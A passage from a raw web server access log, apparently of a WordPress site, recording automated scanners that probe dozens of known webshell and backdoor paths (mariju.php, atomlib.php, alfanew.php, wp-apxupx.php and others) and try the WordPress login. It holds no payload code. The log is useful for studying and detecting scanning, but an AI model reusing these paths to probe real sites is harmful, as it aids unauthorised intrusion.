-0400] "GET /wp-22.php HTTP/1.1" 301 240 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:02:12 -0400] "GET /wp.php HTTP/1.1" 301 237 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:02:13 -0400] "GET /lock360.php HTTP/1.1" 301 242 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:02:13 -0400] "GET /1.php HTTP/1.1" 301 236 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 68.183.245.101 - - [16/Aug/2025:04:09:08 -0400] "GET /send.php HTTP/1.1" 301 239 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_1_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.1.1 Mobile/15E148 Safari/604.1" 86.8.204.43 - - [16/Aug/2025:04:09:08 -0400] "GET /send.php HTTP/1.1" 301 239 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_1_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.1.1 Mobile/15E148 Safari/604.1" 206.189.247.132 - - [16/Aug/2025:04:09:08 -0400] "GET /send.php HTTP/1.1" 301 239 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_1_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.1.1 Mobile/15E148 Safari/604.1" 144.126.240.247 - - [16/Aug/2025:04:09:08 -0400] "GET /send.php HTTP/1.1" 301 239 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_1_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.1.1 Mobile/15E148 Safari/604.1" 68.183.245.101 - - [16/Aug/2025:04:23:28 -0400] "GET /send.php HTTP/1.1" 301 239 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_1_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.1.1 Mobile/15E148 Safari/604.1" 206.189.247.132 - - [16/Aug/2025:04:23:28 -0400] "GET /send.php HTTP/1.1" 301 239 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_1_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.1.1 Mobile/15E148 Safari/604.1" 86.8.204.43 - - [16/Aug/2025:04:23:28 -0400] "GET /send.php HTTP/1.1" 301 239 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_1_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.1.1 Mobile/15E148 Safari/604.1" 144.126.240.247 - - [16/Aug/2025:04:23:28 -0400] "GET /send.php HTTP/1.1" 301 239 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_1_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.1.1 Mobile/15E148 Safari/604.1" 138.197.219.101 - - [16/Aug/2025:04:24:39 -0400] "POST /wp-login.php HTTP/1.1" 301 247 "http://www.orthosquare.in/wp-admin/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 138.197.219.101 - - [16/Aug/2025:04:24:40 -0400] "GET /wp-admin/ HTTP/1.1" 301 244 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:28:49 -0400] "GET /xmrlpc.php7 HTTP/1.1" 301 242 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:28:49 -0400] "GET /lock360.php HTTP/1.1" 301 242 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:28:49 -0400] "GET /Mshell.php HTTP/1.1" 301 241 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:28:50 -0400] "GET /wp-include/xmrlpc.php7 HTTP/1.1" 301 253 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:28:50 -0400] "GET /.wp-themes.php HTTP/1.1" 301 245 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:28:50 -0400] "GET /.wp-themes.php7 HTTP/1.1" 301 246 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:28:51 -0400] "GET /edit-comments.php HTTP/1.1" 301 248 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:28:51 -0400] "GET /ern1.PhP7 HTTP/1.1" 301 240 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:28:52 -0400] "GET /heex.php HTTP/1.1" 301 239 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:28:52 -0400] "GET /inputs.php HTTP/1.1" 301 241 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:28:52 -0400] "GET /wp-content/themes/travelscape/json.php HTTP/1.1" 301 269 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:28:53 -0400] "GET /cgi-bin/install.php HTTP/1.1" 301 250 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:28:53 -0400] "GET /alfanew.php HTTP/1.1" 301 242 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:28:53 -0400] "GET /.well-known/pkivalidation/bala.php HTTP/1.1" 301 265 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:28:54 -0400] "GET /ova-tools.php HTTP/1.1" 301 244 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:28:54 -0400] "GET /wp-content/plugins/wp-daft/t62.php HTTP/1.1" 301 265 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:28:54 -0400] "GET /wp-content/themes/hello-element/footer.php HTTP/1.1" 301 273 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:28:55 -0400] "GET /wp-content/plugins/wordpress-three/miin.php HTTP/1.1" 301 274 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:28:55 -0400] "GET /filefuns.php HTTP/1.1" 301 243 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:28:55 -0400] "GET /qinfofuns.php HTTP/1.1" 301 244 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:28:56 -0400] "GET /tempfuns.php HTTP/1.1" 301 243 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:28:56 -0400] "GET /comdofuns.php HTTP/1.1" 301 244 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:28:56 -0400] "GET /userfuns.php HTTP/1.1" 301 243 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:28:57 -0400] "GET /hinfofuns.php HTTP/1.1" 301 244 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:28:57 -0400] "GET /onclickfuns.php HTTP/1.1" 301 246 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:28:57 -0400] "GET /chtmlfuns.php HTTP/1.1" 301 244 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:28:58 -0400] "GET /bugz.php HTTP/1.1" 301 239 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:28:58 -0400] "GET /makeasmtp.php HTTP/1.1" 301 244 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:28:58 -0400] "GET /wp-mini.php HTTP/1.1" 301 242 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:28:59 -0400] "GET /wp-includes/sitemaps/providers/mariju.php HTTP/1.1" 301 272 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:28:59 -0400] "GET /wp-admin/css/colors/coffee/mariju.php HTTP/1.1" 301 268 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:28:59 -0400] "GET /cgi-bin/mariju.php HTTP/1.1" 301 249 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:29:00 -0400] "GET /wp-includes/IXR/mariju.php HTTP/1.1" 301 257 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:29:00 -0400] "GET /.well-known/acme-challenge/mariju.php HTTP/1.1" 301 268 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:29:00 -0400] "GET /images/mariju.php HTTP/1.1" 301 248 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:29:01 -0400] "GET /wp-includes/php-compat/mariju.php HTTP/1.1" 301 264 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:29:01 -0400] "GET /wp-admin/maint/mariju.php HTTP/1.1" 301 256 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:29:01 -0400] "GET /wp-includes/ID3/mariju.php HTTP/1.1" 301 257 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:29:02 -0400] "GET /wp-admin/includes/mariju.php HTTP/1.1" 301 259 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:29:02 -0400] "GET /.well-known/pki-validation/mariju.php HTTP/1.1" 404 - "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:29:02 -0400] "GET /wp-includes/customize/mariju.php HTTP/1.1" 301 263 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:29:02 -0400] "GET /wp-admin/network/mariju.php HTTP/1.1" 301 258 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:29:03 -0400] "GET /wp-content/plugins/wp-help/admin/wp-fclass.php HTTP/1.1" 301 277 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:29:03 -0400] "GET /wp-content/plugins/wp-help/index.php HTTP/1.1" 301 267 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:29:03 -0400] "GET /wp-content/themes/travel/issue.php HTTP/1.1" 301 265 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:29:04 -0400] "GET /wp-content/updraft/themes.php HTTP/1.1" 301 260 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:29:04 -0400] "GET /wp-content/themes/hideo/network.php HTTP/1.1" 301 266 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:29:04 -0400] "GET /wp-admin/wp-apxupx.php?apx=upx HTTP/1.1" 301 261 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:29:05 -0400] "GET /wp-apxupx.php?apx=upx HTTP/1.1" 301 252 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:29:05 -0400] "GET /wp-content/plugins/wp-apxupx.php?apx=upx HTTP/1.1" 301 271 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:29:05 -0400] "GET /wp-content/uploads/wp-apxupx.php?apx=upx HTTP/1.1" 301 271 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:29:06 -0400] "GET /wp-content/wp-apxupx.php?apx=upx HTTP/1.1" 301 263 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:29:06 -0400] "GET /wp-includes/wp-apxupx.php?apx=upx HTTP/1.1" 301 264 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:29:07 -0400] "GET /wp-includes/wp-apxupx.php?apx=upx HTTP/1.1" 301 264 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:29:07 -0400] "GET /.well-known/pki-validation/atomlib.php HTTP/1.1" 404 - "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:29:07 -0400] "GET /images/atomlib.php HTTP/1.1" 301 249 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:29:08 -0400] "GET /wp-admin/css/atomlib.php HTTP/1.1" 301 255 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:29:08 -0400] "GET /wp-admin/css/colors/blue/atomlib.php HTTP/1.1" 301 267 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:29:08 -0400] "GET /wp-admin/includes/atomlib.php HTTP/1.1" 301 260 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:29:08 -0400] "GET /wp-admin/maint/atomlib.php HTTP/1.1" 301 257 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:29:09 -0400] "GET /wp-content/languages/themes/atomlib.php HTTP/1.1" 301 270 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:29:09 -0400] "GET /wp-content/plugins/atomlib.php HTTP/1.1" 301 261 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:29:09 -0400] "GET /wp-content/themes/atomlib.php HTTP/1.1" 301 260 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:29:10 -0400] "GET /.well-known/acme-challenge/atomlib.php HTTP/1.1" 301 269 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:29:10 -0400] "GET /.well-known/pki-validation/atomlib.php HTTP/1.1" 404 - "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:29:10 -0400] "GET /atomlib.php HTTP/1.1" 301 242 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:29:11 -0400] "GET /images/atomlib.php HTTP/1.1" 301 249 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:29:11 -0400] "GET /wp-admin/css/atomlib.php HTTP/1.1" 301 255 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:29:11 -0400] "GET /wp-admin/css/colors/blue/atomlib.php HTTP/1.1" 301 267 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:29:12 -0400] "GET /wp-admin/includes/atomlib.php HTTP/1.1" 301 260 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:29:12 -0400] "GET /wp-admin/maint/atomlib.php HTTP/1.1" 301 257 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:29:12 -0400] "GET /wp-content/languages/themes/atomlib.php HTTP/1.1" 301 270 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:29:12 -0400] "GET /wp-content/plugins/atomlib.php HTTP/1.1" 301 261 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:29:13 -0400] "GET /wp-content/themes/atomlib.php HTTP/1.1" 301 260 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:29:13 -0400] "GET /wp-includes/certificates/plugins.php HTTP/1.1" 301 267 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:29:13 -0400] "GET /wp-admin/user/plugins.php HTTP/1.1" 301 256 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:29:14 -0400] "GET /.well-known/acme-challenge/plugins.php HTTP/1.1" 301 269 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - 